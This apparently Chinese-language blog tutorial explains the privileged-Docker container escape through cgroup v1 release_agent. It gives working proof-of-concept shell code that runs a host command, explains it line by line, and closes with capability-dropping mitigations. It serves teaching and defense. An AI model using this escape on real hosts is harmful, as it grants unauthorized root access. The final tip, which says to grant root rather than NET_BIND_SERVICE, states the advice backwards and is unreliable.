一個已經有些年份的話題:Docker 容器逃逸,如何從容器內發起攻擊。
Felix Wilhelm 有篇 2019 年的推文:
大佬憑借的是 --privileged
。使用了 privileged flag 的容器被稱為 privileged docker(其設計初衷是讓容器應用能夠直接訪問硬件設備),PoC 通過濫用 Linux Cgroup v1 的“通知”特性從容器中啟動主機進程。
# spawn a new container to exploit via:
# docker run --rm -it --privileged ubuntu bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps >'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
privileged flag 引入了嚴重的安全問題,雖然必須依賴 Docker 容器啟動。使用 privileged flag 的容器可以訪問所有設備,並且不受 Seccomp(Secure Computing)、AppArmor(Application Armor)和 Linux 功能的限制。
0x00 危險配置
--privileged
帶來的權限甚至多於攻擊所需,實際上必要的要求有:
- 以 root 用戶身份在容器內運行;
- 容器使用 SYS_ADMIN Linux 功能運行;
- 容器缺失 AppArmor 配置文件(允許掛載系統調用);
- Cgroup v1 虛擬文件系統以可讀可寫方式掛載在容器內。
SYS_ADMIN 功能允許容器執行掛載 syscall
,但這不是默認啟動的。默認情況下,Docker 啟動的容器只有一組受限的功能,並且考慮到安全風險而不啟用 SYS_ADMIN。
參考:Docker security | Docker Documentation。
另外,Docker 默認情況下使用 docker ... apparmor=docker-default ...
啟動(AppArmor security profiles for Docker | Docker Documentation),這會阻止掛載系統調用,覆蓋 SYS_ADMIN。
因此,容器必須使用如下必要的危險配置來啟動:
--security-opt apparmor=unconfined --cap-add=SYS_ADMIN
0x01 Cgroups
Linux Cgroups(參考:Linux Control Groups V1 和 V2 原理和區別 | mikechengwei's Blog) 是 Docker 用來隔離容器的一種機制,上述 PoC 通過濫用 Cgroup v1 的 notify_on_release 功能全權運行漏洞。當 Cgroup 中的最后一個進程“離開”時(比如退出或被附加到另一個 Cgroup),將執行 release_agent 文件中提供的命令,目的是剔除被丟棄的 Cgroup,而且此時其具有完全的 root 權限。
因為release_agent 文件具有 root 身份,默認情況下不會使用,即 notify_on_release 功能默認關閉,且 release_agent 路徑為空。
文檔:https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt。
0x02 容器逃逸
下面嘗試一下這種容器逃逸。我們使用 --privileged
來啟動容器。
docker run --rm -it --privileged ubuntu:14.04 /bin/bash
判斷是否為容器
判斷是否處在容器內,可以查看 /proc/1/cgroup(init
進程的 Cgroup),只有在容器內才可能看到一堆容器的 ID。另外,沒有經過特意定制的容器是存在 /.dockerenv 文件的。
判斷容器是否具備所需權限
依據就是是否能夠成功運行一個需要高權限的命令。
添加虛擬接口的指令:
$ ip link add dummy0 type dummy
這個命令要求 NET_ADMIN 權限。NET_ADMIN 是 --privileged
賦予特權功能集的一部分,若不能成功執行(RTNETLINK answers: Operation not permitted),則當前容器就無法利用。
相應的刪除虛擬接口命令:
$ ip link delete dummy0
PoC
具體解釋:Understanding Docker container escapes | Trail of Bits Blog。
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
流程:
- 第 1 行,創建一個新的 Cgroup;
- 第 2 行,啟用 notify_on_release;
- 第 3、4 行,指定新建的 Cgroup 應當使用的 release_agent 文件;
- 第 5、6、7 行,寫命令腳本,將
ps aux
的執行結果放入 /output 文件中,然后設置該腳本的執行權限位; - 最后通過生成一個進程來觸發,這個進程在新 Cgroup 內結束,然后 release_agent 開始執行。
在宿主機上應該可以找到記錄 ps aux
輸出的文件。
使用這個 PoC 可以任意執行命令。
0x03 應對措施
Docker 的權限粒度只會越來越細,root 權限並不是一個整體,而是被划分為若干單獨的權限。默認情況下,Docker 會刪除容器的所有功能,並要求添加功能。可以使用 cap-drop 和 cap-add flag 來刪除或添加功能。
--cap-drop=all
--cap-add=LIST_OF_CAPABILITIES
例如,需要綁定小端口(小於 1024)時,可以授予容器 root 權限,而不是 NET_BIND_SERVICE 功能。